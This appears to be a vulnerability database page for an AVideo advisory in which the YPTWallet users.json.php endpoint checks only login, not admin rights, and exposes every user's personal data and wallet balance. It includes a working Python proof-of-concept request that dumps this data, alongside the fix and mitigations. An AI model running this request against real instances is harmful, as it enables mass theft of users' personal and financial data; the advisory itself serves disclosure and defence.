AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.phpGHSA-77jp-mgcw-rfmr
MEDIUMFix: WWBN/AVideo@db37b4eGHSA-77jp-mgcw-rfmr is a medium-severity (CVSS 6.5) CWE-862 vulnerability in wwbn/avideo. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-77jp-mgcw-rfmr.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
if (!User::isLogged()) {
die("Is not logged");
}
The query in YPTWallet::getAllUsers() selects all columns from both tables:
$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
. " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
import requests
TARGET = "https://your-avideo-instance.com"
# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
"user": "regular_user",
"pass": "regular_password"
})
# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
"current": "1",
"rowCount": "10"
})
data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
die("Is not logged");
}
// After:
if (!User::isAdmin()) {
die("Is not logged");
}
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Affected Products
avideowwbnDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of wwbn/avideo for GHSA-77jp-mgcw-rfmr. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-77jp-mgcw-rfmr in your dependencies?
Find it across Packagist, including transitive dependencies.